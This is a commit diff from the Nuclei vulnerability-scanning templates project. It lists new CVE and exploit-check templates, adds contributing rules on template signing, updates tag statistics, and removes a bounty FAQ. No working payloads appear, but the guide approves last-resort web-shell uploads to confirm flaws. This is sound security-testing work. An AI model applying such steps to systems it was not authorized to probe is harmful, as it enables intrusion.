http/technologies/tibco-businessworks-detect.yaml
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
javascript/cves/2025/CVE-2025-29635.yaml
network/misconfig/open-socks-proxy.yaml
http/cves/2010/CVE-2010-1428.yaml
http/cves/2023/CVE-2023-31719.yaml
http/cves/2023/CVE-2023-54335.yaml
http/cves/2024/CVE-2024-56829.yaml
http/cves/2026/CVE-2026-102764.yaml
http/cves/2026/CVE-2026-102782.yaml
http/cves/2026/CVE-2026-102878.yaml
http/cves/2026/CVE-2026-104736.yaml
http/cves/2026/CVE-2026-105134.yaml
http/cves/2026/CVE-2026-10525.yaml
http/cves/2026/CVE-2026-105740.yaml
http/cves/2026/CVE-2026-108123.yaml
http/cves/2026/CVE-2026-109619.yaml
http/cves/2026/CVE-2026-110447.yaml
http/cves/2026/CVE-2026-112866.yaml
http/cves/2026/CVE-2026-114509.yaml
http/cves/2026/CVE-2026-115574.yaml
http/cves/2026/CVE-2026-11565.yaml
http/cves/2026/CVE-2026-115886.yaml
http/cves/2026/CVE-2026-116006.yaml
http/cves/2026/CVE-2026-116067.yaml
http/cves/2026/CVE-2026-116070.yaml
http/cves/2026/CVE-2026-116167.yaml
http/cves/2026/CVE-2026-116205.yaml
http/cves/2026/CVE-2026-116366.yaml
http/cves/2026/CVE-2026-116485.yaml
http/cves/2026/CVE-2026-116548.yaml
http/cves/2026/CVE-2026-116690.yaml
http/cves/2026/CVE-2026-116748.yaml
http/cves/2026/CVE-2026-116817.yaml
http/cves/2026/CVE-2026-118523.yaml
http/cves/2026/CVE-2026-118539.yaml
http/cves/2026/CVE-2026-119495.yaml
http/cves/2026/CVE-2026-120201.yaml
http/cves/2026/CVE-2026-120442.yaml
http/cves/2026/CVE-2026-120446.yaml
http/cves/2026/CVE-2026-120597.yaml
http/cves/2026/CVE-2026-12583.yaml
http/cves/2026/CVE-2026-12970.yaml
http/cves/2026/CVE-2026-14554.yaml
http/cves/2026/CVE-2026-16535.yaml
http/cves/2026/CVE-2026-16959.yaml
http/cves/2026/CVE-2026-17540.yaml
http/cves/2026/CVE-2026-18051.yaml
http/cves/2026/CVE-2026-18110.yaml
http/cves/2026/CVE-2026-22777.yaml
http/cves/2026/CVE-2026-24898.yaml
http/cves/2026/CVE-2026-34151.yaml
http/cves/2026/CVE-2026-48048.yaml
http/cves/2026/CVE-2026-53468.yaml
http/cves/2026/CVE-2026-54419.yaml
http/cves/2026/CVE-2026-55864.yaml
http/cves/2026/CVE-2026-56062.yaml
http/cves/2026/CVE-2026-59707.yaml
http/cves/2026/CVE-2026-75128.yaml
http/cves/2026/CVE-2026-75650.yaml
http/cves/2026/CVE-2026-7873.yaml
http/cves/2026/CVE-2026-82901.yaml
http/cves/2026/CVE-2026-85595.yaml
http/cves/2026/CVE-2026-88804.yaml
http/cves/2026/CVE-2026-89026.yaml
http/cves/2026/CVE-2026-89079.yaml
http/cves/2026/CVE-2026-9062.yaml
http/cves/2026/CVE-2026-93485.yaml
http/cves/2026/CVE-2026-96652.yaml
http/cves/2026/CVE-2026-96655.yaml
http/cves/2026/CVE-2026-97229.yaml
http/cves/2026/CVE-2026-97359.yaml
http/cves/2026/CVE-2026-9848.yaml
http/default-logins/bwapp/bwapp-default-login.yaml
http/default-logins/jboss/jboss-admin-console-default-login.yaml
http/exposed-panels/coolify-panel.yaml
http/exposed-panels/danfoss-ak-sm-800a-panel.yaml
http/exposed-panels/infisical-panel.yaml
http/exposed-panels/jboss/jboss-admin-console-panel.yaml
http/exposed-panels/pocket-id-panel.yaml
http/exposed-panels/tailscale-panel.yaml
http/exposures/apis/prefect-api-exposure.yaml
http/exposures/configs/lighter-config.yaml
http/javascript/cves/2026/CVE-2026-111497.yaml
http/misconfiguration/dvwa-setup.yaml
http/technologies/opencloud-detect.yaml
http/vulnerabilities/other/diafan-cms-xss.yaml
http/vulnerabilities/other/nuuo-unauth-rce.yaml
http/vulnerabilities/wordpress/elementor-rest-nonce-bypass.yaml
http/vulnerabilities/wordpress/jetpack-reader-xss.yaml
websocket/cves/2026/CVE-2026-102489.yaml
+16
View File
@@ -8,6 +8,7 @@ This documentation contains a set of guidelines to help you during the contribut
## **How Can I Contribute?**
- [Submitting Nuclei Templates](#Submitting-Nuclei-Templates)
- [Template Signing and the # digest Line](#template-signing-and-the-digest-line)
- [Reporting False Negative Template](#Reporting-False-Positive-Template)
- [Reporting False Positive Template](#Reporting-False-Positive-Template)
- [Enhancing existing templates](#Enhancing-existing-templates)
@@ -38,6 +39,7 @@ Along with the P.O.C following are the required fields in the info section for s
- Make sure to add more than one matcher to prevent false positive results. Avoid short word that could be encountered anywhere
- If possible submit the vulnerable environment based on docker-compose. For example: https://github.com/vulhub/vulhub.
- We only accept templates with complete P.O.Cs instead of just detection based on version
- Keep existing `# digest:` lines intact when updating templates — the repository signing workflow will automatically regenerate signatures upon merge
**Don’t**
@@ -45,6 +47,7 @@ Along with the P.O.C following are the required fields in the info section for s
- Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
- Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
- Try to keep the requests per template as low as possible
- Don't delete or manually edit the `# digest:` line, and do not sign templates with personal keys
**Best Practices**
@@ -58,6 +61,19 @@ Along with the P.O.C following are the required fields in the info section for s
- We should only upload a web shell as a last resort to validate the vulnerability, and if we do upload a file, make sure the file name is random(`{{randstr}}`)
- Do not include code templates for exploits that can be written using HTTP or JavaScript. We avoid adding additional exploit code to the project unless there is an exception.
### **Template Signing and the `# digest:` Line**
Official templates in this repository include a trailing `# digest:` line (for example, `# digest: 4a0a...:922c...`). This is an automated cryptographic signature and public-key fingerprint used by Nuclei to verify template integrity and authenticity.
- **What it is**: It is an automated signature marker generated by ProjectDiscovery, not a comment or obsolete metadata.
- **Do not edit or delete it**: When updating existing templates, leave the existing `# digest:` line as-is. Do not hand-edit or remove it.
- **Automated Signing**: When a pull request is merged into `main`, the automated **Template Sign** workflow automatically calculates and updates the signature for all modified templates using ProjectDiscovery's official signing key.
- **New Templates**: New templates should be submitted without any `# digest:` line. They will be signed automatically upon merge.
- **Do not sign with personal keys**: Never sign contributed templates with your own private key. Specifically, `code` and `javascript` templates signed with non-ProjectDiscovery keys will fail CI validation (`Signing Key Check`) because Nuclei restricts re-signing code protocol templates for security reasons.
- **Signature verification at scan time**:
- For standard protocols (`http`, `dns`, `network`, etc.), Nuclei verifies signatures against trusted keys and displays a warning if a template is unsigned or modified.
- For `code` and `javascript` protocols, valid signatures from trusted keys are mandatory for security. Nuclei will refuse to execute untrusted or improperly signed code templates by default.
### **Submitting a PR**
**Fork the Project**
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
{"tags":[{"name":"vuln","count":7178},{"name":"cve","count":4605},{"name":"discovery","count":3887},{"name":"vkev","count":2006},{"name":"wordpress","count":1750},{"name":"panel","count":1637},{"name":"wp-plugin","count":1555},{"name":"exposure","count":1513},{"name":"xss","count":1429},{"name":"tech","count":1219},{"name":"osint","count":1131},{"name":"rce","count":1078},{"name":"detect","count":1076},{"name":"misconfig","count":1010},{"name":"wp","count":966},{"name":"lfi","count":898},{"name":"unauth","count":809},{"name":"devops","count":755},{"name":"cloud","count":720},{"name":"intrusive","count":639},{"name":"cve2024","count":628},{"name":"sqli","count":617},{"name":"edb","count":597},{"name":"wpscan","count":596},{"name":"cve2021","count":592},{"name":"authenticated","count":576},{"name":"kev","count":573},{"name":"cve2022","count":571},{"name":"cve2023","count":570},{"name":"login","count":562},{"name":"packetstorm","count":551},{"name":"cve2026","count":482},{"name":"cve2025","count":435},{"name":"network","count":404},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"oast","count":388},{"name":"default-login","count":348},{"name":"auth-bypass","count":337},{"name":"config","count":331},{"name":"cve2020","count":328},{"name":"apache","count":292},{"name":"tcp","count":279},{"name":"microsoft","count":260},{"name":"iot","count":249},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":227},{"name":"gcloud","count":226},{"name":"cve2019","count":226},{"name":"","count":219},{"name":"ssrf","count":215},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":203},{"name":"aws","count":199},{"name":"time-based-sqli","count":199},{"name":"code","count":193},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":176},{"name":"ai","count":170},{"name":"disclosure","count":168},{"name":"security","count":166},{"name":"joomla","count":164},{"name":"keys","count":159},{"name":"cms","count":156},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":146},{"name":"file-upload","count":139},{"name":"ftp","count":138},{"name":"audit","count":136},{"name":"files","count":136},{"name":"cve2017","count":133},{"name":"kubernetes","count":122},{"name":"js","count":119},{"name":"cve2010","count":116},{"name":"passive","count":113},{"name":"fpd","count":108},{"name":"oss","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":99},{"name":"windows-audit","count":95},{"name":"privesc","count":93},{"name":"traversal","count":93},{"name":"oracle","count":92},{"name":"enum","count":91},{"name":"cisco","count":90},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":84},{"name":"deserialization","count":82},{"name":"fileupload","count":80},{"name":"ics","count":78},{"name":"adobe","count":77},{"name":"k8s","count":77},{"name":"detection","count":73},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"oob","count":67},{"name":"cve2015","count":67},{"name":"php","count":67},{"name":"logs","count":67},{"name":"atlassian","count":66},{"name":"api","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"vpn","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"c2","count":63},{"name":"dast","count":59},{"name":"ssh","count":59},{"name":"injection","count":55},{"name":"cve2014","count":55},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"llm","count":54},{"name":"fortinet","count":54},{"name":"sap","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"plugin","count":52},{"name":"ibm","count":52},{"name":"generic","count":50},{"name":"ecommerce","count":50},{"name":"tenable","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"xxe","count":49},{"name":"dns","count":48},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"jndi","count":46},{"name":"postgresql","count":46},{"name":"springboot","count":46},{"name":"aliyun","count":45},{"name":"ssl","count":45},{"name":"dashboard","count":45},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"tls","count":43},{"name":"scada","count":43},{"name":"bank","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"woocommerce","count":40},{"name":"jira","count":40},{"name":"dlink","count":40},{"name":"gitlab","count":39},{"name":"devsecops","count":39},{"name":"backup","countLine truncated
+9061 -8378
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
| vuln | 7178 | dhiyaneshdk | 2175 | http | 11718 | info | 5388 | file | 447 |
| cve | 4605 | rxerium | 961 | cloud | 663 | high | 3044 | dns | 34 |
| discovery | 3887 | daffainfo | 950 | file | 447 | medium | 2869 | | |
| vkev | 2006 | princechaddha | 872 | code | 304 | critical | 2017 | | |
| wordpress | 1750 | dwisiswant0 | 807 | network | 287 | low | 520 | | |
| panel | 1637 | pussycat0x | 802 | dast | 251 | unknown | 59 | | |
| wp-plugin | 1555 | ritikchaddha | 789 | workflows | 207 | | | | |
| exposure | 1513 | 0x_akoko | 487 | javascript | 133 | | | | |
| xss | 1429 | theamanrawat | 355 | ssl | 39 | | | | |
| tech | 1219 | pikpikcu | 353 | dns | 31 | | | | |
-81
View File
@@ -1,81 +0,0 @@
# Nuclei Templates Bounty - FAQ
## What is the purpose of this bounty program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
## Where can I find bounty issues?
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
## How often are new bounty issues added?
We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
## Can I collaborate with others?
Yes, you can collaborate with other contributors and split rewards by commenting:
```
/claim #<issue_number>
/split @contributor1
/split @contributor2
```
## Is there a limit to how many issues I can work on?
You can work on up to **3 issues** simultaneously.
## What happens if I don’t complete an issue on time?
Issues must be completed within **2 months**, or they will be closed.
## How are rewards distributed?
Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
## What should I include in my template submission?
Include the following:
> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
- **Complete POC**: A working Proof of Concept.
- **Matchers**: Multiple matchers to prevent false positives.
- **Debug Data**: Data to assist the triage team in validation.
- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
## What types of templates will be rejected?
Templates may be rejected if they:
- Rely solely on version detection.
- Lack a complete POC.
- Contain weak matchers or redundant changes to existing templates.
## What should I avoid when submitting a template?
- Avoid sharing real-world targets publicly.
- Don’t submit templates with weak matchers.
- Avoid unnecessary changes to existing templates.
## Is there a leaderboard for contributors?
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
- **Swag** such as t-shirts and stickers.
- **Invites to security conferences** for standout contributors.
- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).
+2 -2
View File
@@ -9,7 +9,7 @@ info:
- https://aws.amazon.com/cli/
metadata:
max-request: 2
tags: cloud,devops,aws,amazone,aws-cloud-config
tags: cloud,devops,aws,amazon,aws-cloud-config
variables:
region: "us-east-1"
@@ -52,4 +52,4 @@ code:
- type: dsl
dsl:
- '"AWS CLI is properly configured for account \"" + account + "\" and all the necessary tools required are installed"'
# digest: 4a0a00473045022052484996550fb7281548c8303d5073f5afe21282edd02f6b44327849754db470022100e00b95fbe7c0069c51b67f29380e776144f64464de6aa670a8bcf248722b0e69:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202d1c1289391a00e7c7e4717dc091d105bb40020c400002f44af89fa67ff431d202200a64b98e6e7320777442ace34db91831c6f055b4ca0cc6ccf7d0a4952075c75b:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security,vkev
flow: |
code(1);
@@ -59,4 +59,4 @@ javascript:
- type: dsl
dsl:
- response
# digest: 4a0a00473045022025ed151367a846d211bf074a1617a83ffb548d410c150328bf67f6ee18ac0b1802210096bcd92dbef5b968b615499daefd01e98fe26c6b6e56c6f431ec843c33379b67:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100a16749044616d7fa5bef0f34b7dc0efffcd6e15a1e913779e4d7ea7e5ae880ec0221008c99c79bb10af571f216473a6b882121d5a73ea2dd9924fac43efc9c2ba1c61b:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
- Cloud Vulnerability Assessment Guide(2024) by KISA
- https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
variables:
@@ -47,4 +47,4 @@ code:
- type: dsl
dsl:
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ce3791d8485a7d4ce1ad3f055cab92b20cf7e5c57f4e47ac478e74d193b74764022013ae946bf2b897ad3c2c1dbbe7268f54f658ced43f9ca82a3edc0b77785af48f:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
- Cloud Vulnerability Assessment Guide(2024) by KISA
- https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
variables:
@@ -46,4 +46,4 @@ code:
- type: dsl
dsl:
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022044867c79c6e39c0e6181e0f3339e6c915abb31d807a9b02fcec5fdac437e2d20022100dbae44977a3be1951dd85cb8bf16ab10d3372ca79a8c4616ccd2aa406a28c516:922c64590222798bb761d5b6d8e72950
+1 -1
View File
@@ -142,4 +142,4 @@ code:
- type: dsl
dsl:
- "contains(response,'server is vulnerable')"
# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502201ff2c314c4c8207000c67249618772848dafdf609be8c63cfc46a3f709062d0c022100efe127d5604505631022ef6e7c3ce8a29445e0b9c32e5de8d983550ff8100289:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.90338
epss-percentile: 0.99785
epss-percentile: 0.99799
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
@@ -83,4 +83,4 @@ code:
- 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a
# digest: 4a0a004730450220454eeb8bf987ba4ab5c029ea128172479132728dee2ba1979b26c201ac650b44022100f695b2f06aa31969c851bfefe0a19b7b06ac19fcdde50b181197bd907efde140:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2016-9299
cwe-id: CWE-90
epss-score: 0.96943
epss-percentile: 0.99882
epss-percentile: 0.99888
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
metadata:
max-request: 1
@@ -126,4 +126,4 @@ code:
- "contains(response,'hudson.remoting.UserRequest')"
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022050dbe42f3cf04e777f5f0a26328ab131295930caa7112a66391af81802cc572d022100c254bd0d3e1255c3b9d74933833a50509aa19e6a275bc34b1f1dd270e3eda5f4:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220121ede394661642f08d284cffc6110695207502d120cc3ae452aeb611948a0bb0220240708e264c43a29b967444d33bade1534c0a07db12d4db979afca0aa56f28e6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.99686
epss-percentile: 0.99948
epss-score: 0.99679
epss-percentile: 0.9995
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -108,4 +108,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502203727c33a8cec447cfa28d7abe98d79e5ab19560b75660d86757b15ddc736ddf3022100ee1d12dbf38026c4c65d2948e7fa5231b1b71cc0cefcb70c9bd2e9f7ca00fba6:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -20,7 +20,7 @@ info:
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.99913
epss-percentile: 0.99966
epss-percentile: 0.99968
metadata:
verified: true
vendor: microsoft
@@ -156,4 +156,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022004775c8d5cd82057b1a17dc7c7935912e335f64b23d9925d98e8c2cd795813ff022100b472250d57bbcc9cc369c9ec332e5f2760c4ef722387b2f24412c2aedaedd3b6:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.63917
epss-percentile: 0.99123
epss-score: 0.63764
epss-percentile: 0.99222
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -51,4 +51,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
